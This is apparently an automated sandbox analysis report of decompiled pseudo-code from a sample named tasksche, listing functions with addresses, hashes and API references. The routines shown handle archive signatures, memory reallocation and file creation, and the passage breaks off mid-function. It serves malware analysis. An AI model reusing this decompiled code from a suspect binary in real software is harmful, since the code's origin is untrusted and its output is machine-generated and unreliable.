API String ID: 2260680371-0
Opcode ID: e440fb91986ed667ecea05b8623b67f22d0563812c7c3dc4cd5ad5119d8de580
Instruction ID: 5cfd1deac55777c6f3d5c0bdf32a3cf990456680eccb4e8d5c114054f7fd3324
Opcode Fuzzy Hash: e440fb91986ed667ecea05b8623b67f22d0563812c7c3dc4cd5ad5119d8de580
Instruction Fuzzy Hash: DD01C031100204A5DB216A664C42BBB37589B4EB84F88447BFD41F62D2CB7C9C92D97E

Uniqueness

Uniqueness Score: -1.00%

Function 0040E2D7 Relevance: 4.6, APIs: 3, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040E2D7(void* __ecx, void* __edx, void* __eflags) {
				intOrPtr _t20;
				void* _t25;
				void* _t39;
				void* _t45;
				intOrPtr _t47;

				_t39 = __edx;
				E0041A4DC(E00429794, _t45);
				_push(__ecx);
				E0041AAF0(0x6460);
				 *((intOrPtr*)(_t45 - 0x10)) = _t47;
				E0041A7F7(0x44ac32, "X");
				E00410D16(0x44cc54, 0x42a570);
				E0041A7F7(0x44bc52,  *((intOrPtr*)(_t45 + 0xc)));
				E0040537E(0x443980,  *((intOrPtr*)(_t45 + 0xc)));
				_t4 = _t45 - 4;
				 *(_t45 - 4) =  *(_t45 - 4) & 0x00000000;
				_t20 = 4;
				 *0x449c14 = _t20;
				 *0x449c10 = _t20;
				 *0x449c0c = _t20;
				 *0x448ad3 =  *0x441823;
				_push(0x443980);
				 *0x448b08 = 1;
				 *0x448b0b = 1;
				 *0x448ad4 =  *0x441822; // executed
				E00407150(_t45 - 0x6470, _t39,  *_t4); // executed
				 *(_t45 - 4) = 1;
				E004083C0(_t45 - 0x6470, _t39,  *_t4); // executed
				 *(_t45 - 4) = 0;
				_t25 = E00407074(_t45 - 0x6470); // executed
				 *[fs:0x0] =  *((intOrPtr*)(_t45 - 0xc));
				return _t25;
			}

0x0040e2d7
0x0040e2dc
0x0040e2e1
0x0040e2e7
0x0040e2ef
0x0040e2fc
0x0040e30d
0x0040e31a
0x0040e32b
0x0040e330
0x0040e330
0x0040e336
0x0040e337
0x0040e33c
0x0040e341
0x0040e34b
0x0040e355
0x0040e35c
0x0040e363
0x0040e36a
0x0040e36f
0x0040e37a
0x0040e37e
0x0040e389
0x0040e38d
0x0040e397
0x0040e3a0

APIs

__EH_prolog.LIBCMT ref: 0040E2DC
_wcscpy.LIBCMT ref: 0040E2FC

Part of subcall function 00410D16: _wcslen.LIBCMT ref: 00410D2C
Part of subcall function 00410D16: _wcscpy.LIBCMT ref: 00410D42

_wcscpy.LIBCMT ref: 0040E31A

Part of subcall function 00407150: __EH_prolog.LIBCMT ref: 00407155

Part of subcall function 00407074: __EH_prolog.LIBCMT ref: 00407079

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog_wcscpy$_wcslen
String ID:
API String ID: 2067596392-0
Opcode ID: aa5c2ab907567c22763022a3e14260f934ba444c4f603d8b7408ac10fc9ad921
Instruction ID: 34baa23ef678cdf00172776f2fc4f6da7b22e3ce89fab18911e310d79256e735
Opcode Fuzzy Hash: aa5c2ab907567c22763022a3e14260f934ba444c4f603d8b7408ac10fc9ad921
Instruction Fuzzy Hash: E7112675906294AED705EBA4AC427CD7BA0DB16318F1040AFF444A2292CFB91A90DB6E

Uniqueness

Uniqueness Score: -1.00%

Function 00401768 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E00401768(intOrPtr* __ecx, void* __edx) {
				void* __edi;
				void* _t25;
				signed int _t27;
				intOrPtr _t30;
				signed int _t31;
				intOrPtr _t35;
				void* _t54;
				void* _t58;

				_t51 = __edx;
				E0041A4DC(E00429705, _t58);
				_t56 = __ecx;
				if( *((intOrPtr*)(__ecx + 0xb056)) != 0) {
					E0040117B(_t58 - 0x1c, __edx, __ecx);
					 *(_t58 - 4) = 0;
					__eflags =  *(__ecx + 0x658c);
					if( *(__ecx + 0x658c) == 0) {
						_push(0);
						_t25 = E00401B26(__ecx);
						_push(_t51);
						 *((intOrPtr*)( *__ecx + 0xc))();
						_t27 = E00403767(__ecx, _t51, _t58, __eflags, "CMT");
						_t54 = _t25;
						__eflags = _t27;
						if(_t27 == 0) {
							L6:
							 *((char*)(_t58 + 0xb)) = 0;
						} else {
							_push( *((intOrPtr*)(_t58 + 8)));
							_t31 = E004012EA(_t56, _t54); // executed
							 *((char*)(_t58 + 0xb)) = 1;
							__eflags = _t31;
							if(_t31 == 0) {
								goto L6;
							}
						}
					} else {
						_push(0);
						_push(0);
						_push( *((intOrPtr*)(__ecx + 0xb060)) + 0x14);
						 *((intOrPtr*)( *__ecx + 0xc))();
						E0040369F(__edx, _t58);
						_t35 =  *((intOrPtr*)(_t58 + 8));
						__eflags =  *(_t35 + 4);
						 *((char*)(_t58 + 0xb)) =  *(_t35 + 4) > 0;
					}
					_t15 = _t58 - 4;
					 *_t15 =  *(_t58 - 4) | 0xffffffff;
					__eflags =  *_t15;
					 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t58 - 0x1c)))) + 0xc))( *((intOrPtr*)(_t58 - 0x14)),  *((intOrPtr*)(_t58 - 0x10)), 0);
					_t30 =  *((intOrPtr*)(_t58 + 0xb));
				} else {
					_t30 = 0;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t58 - 0xc));
				return _t30;
			}

0x00401768
0x0040176d
0x00401777
0x00401781
0x0040178e
0x00401793
0x00401796
0x0040179c
0x004017c7
0x004017ca
0x004017cf
0x004017d3
0x004017dd
0x004017e2
0x004017e3
0x004017e5
0x004017f9
0x004017f9
0x004017e7
0x004017e7
0x004017ec
0x004017f1
0x004017f5
0x004017f7
0x00000000
0x00000000
0x004017f7
0x0040179e
0x004017a6
0x004017aa
0x004017ab
0x004017ae
0x004017b3
0x004017b8
0x004017bb
0x004017be
0x004017be
0x00401801
0x00401801
0x00401801
0x0040180c
0x0040180f
0x00401783
0x00401783
0x00401783
0x00401817
0x0040181f

APIs

__EH_prolog.LIBCMT ref: 0040176D

Strings

CMT, xrefs: 004017D6

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog
String ID: CMT
API String ID: 3519838083-2756464174
Opcode ID: c5dcd452fd1e4eeec7eacad65d6409f1913b512c17b790326e9b6827e8618ada
Instruction ID: 903a9e83ebfadd1395375551f57b58f4375dbb7200b7f1b09ca9293e13445996
Opcode Fuzzy Hash: c5dcd452fd1e4eeec7eacad65d6409f1913b512c17b790326e9b6827e8618ada
Instruction Fuzzy Hash: C5210275600144AFCB05EF6488908AEBBB9EF44314B00C06FF866773E2CB389E01DB68

Uniqueness

Uniqueness Score: -1.00%

Function 00401106 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00401106(intOrPtr* __ecx, intOrPtr _a4) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t12;
				intOrPtr _t13;
				unsigned int _t15;
				intOrPtr _t16;
				unsigned int _t20;
				intOrPtr _t23;
				unsigned int _t26;
				void* _t31;
				intOrPtr _t32;
				intOrPtr* _t34;

				_t12 = _a4;
				_t34 = __ecx;
				 *((intOrPtr*)(__ecx + 4)) =  *((intOrPtr*)(__ecx + 4)) + _t12;
				_t23 =  *((intOrPtr*)(__ecx + 4));
				if(_t23 >  *((intOrPtr*)(__ecx + 8))) {
					_t13 =  *((intOrPtr*)(__ecx + 0xc));
					_push(_t31);
					if(_t13 != 0 && _t23 > _t13) {
						E00406423(_t23, 0x4335ac, L"Maximum allowed array size (%u) is exceeded", _t13);
						E004063CE(0x4335ac);
					}
					_t15 = ( *(_t34 + 8) >> 2) +  *(_t34 + 8) + 0x20;
					_t26 =  *(_t34 + 4);
					_t20 = _t26;
					_t43 = _t26 - _t15;
					if(_t26 <= _t15) {
						_t20 = _t15;
					}
					_push(_t20);
					_push( *_t34); // executed
					_t16 = E0041A594(_t20, _t31, _t34, _t43); // executed
					_t32 = _t16;
					if(_t32 == 0) {
						_t16 = E004063CE(0x4335ac);
					}
					 *_t34 = _t32;
					 *(_t34 + 8) = _t20;
					return _t16;
				}
				return _t12;
			}

0x00401106
0x0040110b
0x0040110d
0x00401110
0x00401116
0x00401118
0x0040111d
0x00401125
0x00401132
0x0040113c
0x0040113c
0x00401149
0x0040114d
0x00401150
0x00401152
0x00401154
0x00401156
0x00401156
0x00401158
0x00401159
0x0040115b
0x00401160
0x00401166
0x0040116a
0x0040116a
0x0040116f
0x00401173
0x00000000
0x00401176
0x00401178

APIs

_realloc.LIBCMT ref: 0040115B

Part of subcall function 00406423: __vswprintf_c_l.LIBCMT ref: 00406441

Strings

Maximum allowed array size (%u) is exceeded, xrefs: 0040112C

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: __vswprintf_c_l_realloc
String ID: Maximum allowed array size (%u) is exceeded
API String ID: 620378156-979119166
Opcode ID: dce6db5a0bfaf73c63961f3884acddfac192c2d93569977231d8791de2d42667
Instruction ID: b98885df3920ffeceb53ce79d7a953b92e5ea0a83a6506546a83ec3ee512e677
Opcode Fuzzy Hash: dce6db5a0bfaf73c63961f3884acddfac192c2d93569977231d8791de2d42667
Instruction Fuzzy Hash: 8D014F353006056FD728EA25D89193BB3E9EB88764310483FF99B97791EA39BC548718

Uniqueness

Uniqueness Score: -1.00%

Function 00401417 Relevance: 3.3, APIs: 2, Instructions: 264
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E00401417(signed int* __ecx, signed int __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t89;
				void* _t92;
				signed int _t96;
				signed int _t97;
				signed int _t98;
				signed int _t105;
				signed int _t106;
				signed int _t107;
				signed int _t115;
				signed int _t118;
				char* _t129;
				signed int _t130;
				signed int _t131;
				signed int _t133;
				char* _t138;
				void* _t139;
				signed int _t144;
				signed int _t145;
				void* _t175;
				signed int _t176;
				signed int* _t178;
				signed int _t179;
				signed int* _t181;
				void* _t185;

				_t172 = __edx;
				E0041A4DC(E004294F4, _t185);
				_t181 = __ecx;
				_push(7);
				_t174 = __ecx + 0x6560;
				_push(__ecx + 0x6560);
				 *((char*)(__ecx + 0xb05c)) = 0;
				 *((char*)(__ecx + 0xb064)) = 0;
				if( *((intOrPtr*)( *((intOrPtr*)(__ecx)) + 8))() == 7) {
					 *((intOrPtr*)(__ecx + 0xb060)) = 0;
					_t89 = E0040106A(_t174, 7);
					__eflags = _t89;
					if(_t89 == 0) {
						E00406760(_t185 - 0x1c, 0x100000);
						 *(_t185 - 4) = 0;
						_t92 =  *((intOrPtr*)( *_t181 + 0x10))();
						_t175 = _t92;
						_t144 =  *((intOrPtr*)( *_t181 + 8))( *(_t185 - 0x1c),  *((intOrPtr*)(_t185 - 0x18)) + 0xfffffff0);
						_t172 = 0;
						__eflags = _t144;
						if(_t144 <= 0) {
							L21:
							__eflags = _t181[0x2c18];
							if(_t181[0x2c18] != 0) {
								 *(_t185 - 4) =  *(_t185 - 4) | 0xffffffff;
								__eflags =  *(_t185 - 0x1c);
								if(__eflags != 0) {
									_push( *(_t185 - 0x1c));
									E0041A506(_t144, _t175, _t181, __eflags); // executed
								}
								goto L26;
							}
							__eflags =  *(_t185 - 0x1c);
							if(__eflags != 0) {
								_push( *(_t185 - 0x1c));
								E0041A506(_t144, _t175, _t181, __eflags);
							}
							goto L41;
						} else {
							goto L6;
						}
						do {
							L6:
							_t129 =  *(_t185 - 0x1c) + _t172;
							__eflags =  *_t129 - 0x52;
							if( *_t129 != 0x52) {
								goto L16;
							}
							_t130 = E0040106A(_t129, _t144 - _t172);
							__eflags = _t130;
							if(_t130 == 0) {
								goto L16;
							}
							_t181[0x2c14] = _t130;
							__eflags = _t130 - 1;
							if(_t130 != 1) {
								L18:
								_t131 = _t172 + _t175;
								_t172 =  *_t181;
								_t181[0x2c18] = _t131;
								 *((intOrPtr*)( *_t181 + 0xc))(_t131, 0, 0);
								_t133 = _t181[0x2c14];
								__eflags = _t133 - 2;
								if(_t133 == 2) {
									L20:
									_t172 =  *_t181;
									 *((intOrPtr*)( *_t181 + 8))( &(_t181[0x1958]), 7);
									goto L21;
								}
								__eflags = _t133 - 3;
								if(_t133 != 3) {
									goto L21;
								}
								goto L20;
							}
							__eflags = _t172;
							if(_t172 <= 0) {
								goto L18;
							}
							__eflags = _t175 - 0x1c;
							if(_t175 >= 0x1c) {
								goto L18;
							}
							__eflags = _t144 - 0x1f;
							if(_t144 <= 0x1f) {
								goto L18;
							}
							_t138 =  *(_t185 - 0x1c) - _t175 + 0x1c;
							__eflags =  *_t138 - 0x52;
							if( *_t138 != 0x52) {
								goto L16;
							}
							__eflags =  *((char*)(_t138 + 1)) - 0x53;
							if( *((char*)(_t138 + 1)) != 0x53) {
								goto L16;
							}
							__eflags =  *((char*)(_t138 + 2)) - 0x46;
							if( *((char*)(_t138 + 2)) != 0x46) {
								goto L16;
							}
							__eflags =  *((char*)(_t138 + 3)) - 0x58;
							if( *((char*)(_t138 + 3)) == 0x58) {
								goto L18;
							}
							L16:
							_t172 = _t172 + 1;
							__eflags = _t172 - _t144;
						} while (_t172 < _t144);
						goto L21;
					} else {
						_t181[0x2c14] = _t89;
						__eflags = _t89 - 1;
						if(_t89 == 1) {
							_t179 =  *_t181;
							_t139 =  *((intOrPtr*)(_t179 + 0x10))(0);
							asm("sbb edx, ebx");
							 *((intOrPtr*)(_t179 + 0xc))(_t139 - 7, __edx);
						}
						L26:
						_t96 = _t181[0x2c14];
						__eflags = _t96 - 4;
						if(_t96 != 4) {
							__eflags = _t96 - 3;
							if(_t96 != 3) {
								_t181[0x195a] = 7;
								while(1) {
									L36:
									_t97 = E0040369F(_t172, _t185);
									__eflags = _t97;
									if(_t97 == 0) {
										break;
									}
									_t98 = _t181[0x1951];
									__eflags = _t98 - 1;
									if(_t98 == 1) {
										break;
									}
									__eflags = _t181[0x1952];
									if(_t181[0x1952] == 0) {
										L35:
										E004010C0(_t181);
										continue;
									}
									__eflags = _t98 - 4;
									if(_t98 == 4) {
										break;
									}
									goto L35;
								}
								__eflags = _t181[0x2c19];
								if(_t181[0x2c19] == 0) {
									L39:
									E004010C0(_t181);
									__eflags = _t181[0x2c19];
									if(_t181[0x2c19] == 0) {
										L42:
										__eflags = _t181[0x1952];
										_t181[0x2c15] = _t181[0x1963];
										if(_t181[0x1952] == 0) {
											L44:
											E0040117B(_t185 - 0x2c, _t172, _t181);
											_t176 = _t181[0x2c10];
											_t145 = _t181[0x2c11];
											 *(_t185 - 0x14) = _t181[0x2c12];
											 *(_t185 - 0x10) = _t181[0x2c13];
											 *(_t185 - 4) = 1;
											 *(_t185 + 8) = _t181[0x1951];
											while(1) {
												_t105 = E0040369F(_t172, _t185);
												__eflags = _t105;
												if(_t105 == 0) {
													break;
												}
												_t106 = _t181[0x1951];
												__eflags = _t106 - 3;
												if(_t106 != 3) {
													__eflags = _t106 - 2;
													if(_t106 == 2) {
														__eflags = _t181[0x2c15];
														if(_t181[0x2c15] == 0) {
															L59:
															_t107 = 0;
															__eflags = 0;
															L60:
															_t181[0x2c16] = _t107;
															L61:
															_t69 = _t185 - 4;
															 *_t69 =  *(_t185 - 4) | 0xffffffff;
															__eflags =  *_t69;
															_t181[0x2c12] =  *(_t185 - 0x14);
															_t181[0x2c13] =  *(_t185 - 0x10);
															_t181[0x2c10] = _t176;
															_t181[0x2c11] = _t145;
															_t181[0x1951] =  *(_t185 + 8);
															 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t185 - 0x2c)))) + 0xc))( *((intOrPtr*)(_t185 - 0x24)),  *((intOrPtr*)(_t185 - 0x20)), 0);
															L62:
															__eflags = _t181[0x2c15];
															if(_t181[0x2c15] == 0) {
																L64:
																__eflags =  &(_t181[0x2c26]);
																E0041A7F7( &(_t181[0x2c26]),  &(_t181[7]));
																L65:
																_t115 = 1;
																L66:
																goto L67;
															}
															__eflags = _t181[0x2c16];
															if(_t181[0x2c16] == 0) {
																goto L65;
															}
															goto L64;
														}
														__eflags = _t181[0x1d9c];
														if(_t181[0x1d9c] != 0) {
															goto L59;
														}
														_t107 = 1;
														goto L60;
													}
													__eflags = _t106 - 5;
													if(_t106 == 5) {
														goto L61;
													}
													L53:
													E004010C0(_t181);
													continue;
												}
												__eflags = _t181[0x2c15];
												if(_t181[0x2c15] == 0) {
													L49:
													_t118 = 0;
													__eflags = 0;
													L50:
													_t181[0x2c16] = _t118;
													goto L53;
												}
												__eflags = _t181[0x266c];
												if(_t181[0x266c] != 0) {
													goto L49;
												}
												_t118 = 1;
												goto L50;
											}
											goto L61;
										}
										__eflags = _t181[0x2c17];
										if(_t181[0x2c17] != 0) {
											goto L62;
										}
										goto L44;
									}
									E00406376(0x19,  &(_t181[7]));
									__eflags =  *(_t185 + 8);
									if( *(_t185 + 8) != 0) {
										goto L42;
									}
									L41:
									_t115 = 0;
									goto L66;
								}
								__eflags =  *(_t185 + 8);
								if( *(_t185 + 8) == 0) {
									goto L41;
								}
								goto L39;
							}
							_t178 =  &(_t181[0x1959]);
							 *((intOrPtr*)( *_t181 + 8))(_t178, 1);
							__eflags =  *_t178;
							if( *_t178 != 0) {
								goto L41;
							}
							_t181[0x195a] = 8;
							goto L36;
						}
						E00406376(0x3b,  &(_t181[7]));
						goto L41;
					}
				} else {
					_t115 = 0;
					L67:
					 *[fs:0x0] =  *((intOrPtr*)(_t185 - 0xc));
					return _t115;
				}
			}

0x00401417
0x0040141c
0x00401425
0x0040142a
0x0040142c
0x00401432
0x00401433
0x0040143a
0x00401447
0x00401456
0x0040145c
0x00401461
0x00401463
0x00401495
0x0040149e
0x004014a1
0x004014ae
0x004014b7
0x004014b9
0x004014bb
0x004014bd
0x00401550
0x00401552
0x00401558
0x00401571
0x00401575
0x00401578
0x0040157a
0x0040157d
0x00401582
0x00000000
0x00401578
0x0040155a
0x0040155d
0x00401563
0x00401566
0x0040156b
0x00000000
0x00000000
0x00000000
0x00000000
0x004014c3
0x004014c3
0x004014c6
0x004014c8
0x004014cb
0x00000000
0x00000000
0x004014d3
0x004014d8
0x004014da
0x00000000
0x00000000
0x004014dc
0x004014e2
0x004014e5
0x0040151b
0x0040151d
0x00401520
0x00401527
0x0040152d
0x00401530
0x00401536
0x00401539
0x00401540
0x00401540
0x0040154d
0x00000000
0x0040154d
0x0040153b
0x0040153e
0x00000000
0x00000000
0x00000000
0x0040153e
0x004014e7
0x004014e9
0x00000000
0x00000000
0x004014eb
0x004014ee
0x00000000
0x00000000
0x004014f0
0x004014f3
0x00000000
0x00000000
0x004014fa
0x004014fd
0x00401500
0x00000000
0x00000000
0x00401502
0x00401506
0x00000000
0x00000000
0x00401508
0x0040150c
0x00000000
0x00000000
0x0040150e
0x00401512
0x00000000
0x00000000
0x00401514
0x00401514
0x00401515
0x00401515
0x00000000
0x00401465
0x00401465
0x0040146b
0x0040146e
0x00401474
0x00401479
0x0040147f
0x00401485
0x00401485
0x00401583
0x00401583
0x00401589
0x0040158c
0x0040159e
0x004015a1
0x004015c4
0x004015f0
0x004015f0
0x004015f2
0x004015f7
0x004015f9
0x00000000
0x00000000
0x004015d0
0x004015d6
0x004015d9
0x00000000
0x00000000
0x004015db
0x004015e2
0x004015e9
0x004015eb
0x00000000
0x004015eb
0x004015e4
0x004015e7
0x00000000
0x00000000
0x00000000
0x004015e7
0x004015fb
0x00401602
0x0040160a
0x0040160c
0x00401611
0x00401618
0x00401632
0x00401632
0x0040163f
0x00401645
0x00401654
0x00401658
0x00401663
0x00401669
0x0040166f
0x00401678
0x00401681
0x00401688
0x004016ca
0x004016cc
0x004016d1
0x004016d3
0x00000000
0x00000000
0x0040168d
0x00401693
0x00401696
0x004016b9
0x004016bc
0x004016d7
0x004016de
0x004016ee
0x004016ee
0x004016ee
0x004016f0
0x004016f0
0x004016f6
0x004016fc
0x004016fc
0x004016fc
0x00401700
0x0040170e
0x0040171a
0x00401720
0x00401726
0x0040172e
0x00401731
0x00401731
0x00401738
0x00401743
0x00401747
0x0040174e
0x00401755
0x00401755
0x00401757
0x00000000
0x00401757
0x0040173a
0x00401741
0x00000000
0x00000000
0x00000000
0x00401741
0x004016e0
0x004016e7
0x00000000
0x00000000
0x004016eb
0x00000000
0x004016eb
0x004016be
0x004016c1
0x00000000
0x00000000
0x004016c3
0x004016c5
0x00000000
0x004016c5
0x00401698
0x0040169f
0x004016af
0x004016af
0x004016af
0x004016b1
0x004016b1
0x00000000
0x004016b1
0x004016a1
0x004016a8
0x00000000
0x00000000
0x004016ac
0x00000000
0x004016ac
0x00000000
0x004016d5
0x00401647
0x0040164e
0x00000000
0x00000000
0x00000000
0x0040164e
0x00401620
0x00401625
0x00401629
0x00000000
0x00000000
0x0040162b
0x0040162b
0x00000000
0x0040162b
0x00401604
0x00401608
0x00000000
0x00000000
0x00000000
0x00401608
0x004015a7
0x004015b0
0x004015b3
0x004015b6
0x00000000
0x00000000
0x004015b8
0x00000000
0x004015b8
0x00401594
0x00000000
0x00401594
0x00401449
0x00401449
0x00401758
0x0040175d
0x00401765
0x00401765

APIs

__EH_prolog.LIBCMT ref: 0040141C

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: af860968fb5a352ec115184650dafa7935731a9a847d0e8dc47d2517750fbf99
Instruction ID: 1df30631c7f2331ab9bb659be56b51083ca38efb3ea41a431c6c341c2f7f2518
Opcode Fuzzy Hash: af860968fb5a352ec115184650dafa7935731a9a847d0e8dc47d2517750fbf99
Instruction Fuzzy Hash: D7A1A370904B44AFDB31DB38C8447ABB7E5AB45304F14482FE4A7A72E1D779A881CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00408923 Relevance: 3.1, APIs: 2, Instructions: 86
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408923(void* __ecx, WCHAR* _a4, long _a8) {
				long _v8;
				short _v4104;
				signed char _t38;
				signed int _t42;
				void* _t51;
				signed char _t54;
				char _t60;
				void* _t64;

				E0041AAF0(0x1004);
				_t64 = __ecx;
				_t54 = _a8;
				_t38 = _t54 >> 0x00000001 & 0x00000001;
				if((_t54 & 0x00000010) != 0 ||  *((intOrPtr*)(__ecx + 0x1c)) != 0) {
					_t60 = 1;
				} else {
					_t60 = 0;
				}
				 *(_t64 + 0x18) = _t54;
				_v8 = ((0 | _t38 == 0x00000000) - 0x00000001 & 0x80000000) + 0xc0000000;
				_a8 = 0 | _t60 != 0x00000000;
				_t42 =  *(E0040A08A(_t60, _a4)) & 0x0000ffff;
				if(_t42 == 0x2e || _t42 == 0x20) {
					 *(_t64 + 4) =  *(_t64 + 4) | 0xffffffff;
				} else {
					_t51 = CreateFileW(_a4, _v8, _a8, 0, 2, 0, 0); // executed
					 *(_t64 + 4) = _t51;
				}
				if( *(_t64 + 4) == 0xffffffff && E0040A3DC(_a4,  &_v4104, 0x800) != 0) {
					 *(_t64 + 4) = CreateFileW( &_v4104, _v8, _a8, 0, 2, 0, 0);
				}
				 *((char*)(_t64 + 0x12)) = 1;
				 *((intOrPtr*)(_t64 + 0xc)) = 0;
				 *((char*)(_t64 + 0x10)) = 0;
				E00410B9C(_t64 + 0x1e, _a4, 0x800);
				return 0 |  *(_t64 + 4) != 0xffffffff;
			}

0x0040892b
0x00408932
0x00408934
0x0040893b
0x00408943
0x0040894e
0x0040894a
0x0040894a
0x0040894a
0x00408953
0x00408971
0x00408974
0x0040897c
0x00408989
0x00408991
0x00408997
0x004089a5
0x004089a7
0x004089a7
0x004089ae
0x004089dc
0x004089dc
0x004089eb
0x004089ef
0x004089f2
0x004089f5
0x00408a07

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,00000002,00000000,00000000,?,?,?,-00000011,?,00408777,?,-00000011,?), ref: 004089A5
CreateFileW.KERNEL32(?,000000FF,?,00000000,00000002,00000000,00000000,?,?,00000800,?,?,?,-00000011,?,00408777), ref: 004089DA

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: a074d9b34406725a99dd7798f6dc6781e4ed09d04832e0e73d262d8c08033346
Instruction ID: 01d84b190ee352a3a297c1effa4f932d2cea621e1ee0f9c6dc0f58f94aa457de
Opcode Fuzzy Hash: a074d9b34406725a99dd7798f6dc6781e4ed09d04832e0e73d262d8c08033346
Instruction Fuzzy Hash: F621E6B1000709AFDB20AF28CD41AEA7BA9EB04324F00853EF5D5972D1CA799D859B59

Uniqueness

Uniqueness Score: -1.00%

Function 004012EA Relevance: 3.1, APIs: 2, Instructions: 76
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E004012EA(void* __ecx, void* __edi) {
				void* __ebx;
				void* __esi;
				void* _t30;
				void* _t37;
				void* _t55;
				unsigned int _t57;
				void* _t58;
				signed int _t59;
				intOrPtr* _t62;
				void* _t64;

				E0041A4DC(E004294DA, _t64);
				_t44 = __ecx;
				 *(_t64 - 0x1c) = 0;
				 *(_t64 - 0x18) = 0;
				 *((intOrPtr*)(_t64 - 0x14)) = 0;
				 *((intOrPtr*)(_t64 - 0x10)) = 0;
				_push(0);
				_push(_t64 - 0x1c);
				 *((intOrPtr*)(_t64 - 4)) = 0;
				_t30 = E00402C8B(__ecx, _t55); // executed
				if(_t30 != 0) {
					_push(__edi);
					_t57 =  *(_t64 - 0x18);
					E004012B5(_t64 - 0x1c, 0);
					_t62 =  *((intOrPtr*)(_t64 + 8));
					_t48 = _t62;
					E004012D0(_t62, _t57 + 1);
					__eflags =  *((intOrPtr*)(__ecx + 0xb050)) - 3;
					if( *((intOrPtr*)(__ecx + 0xb050)) != 3) {
						__eflags =  *(__ecx + 0x8944) & 0x00000001;
						if(( *(__ecx + 0x8944) & 0x00000001) == 0) {
							E00411B3C( *(_t64 - 0x1c),  *_t62,  *((intOrPtr*)(_t62 + 4)));
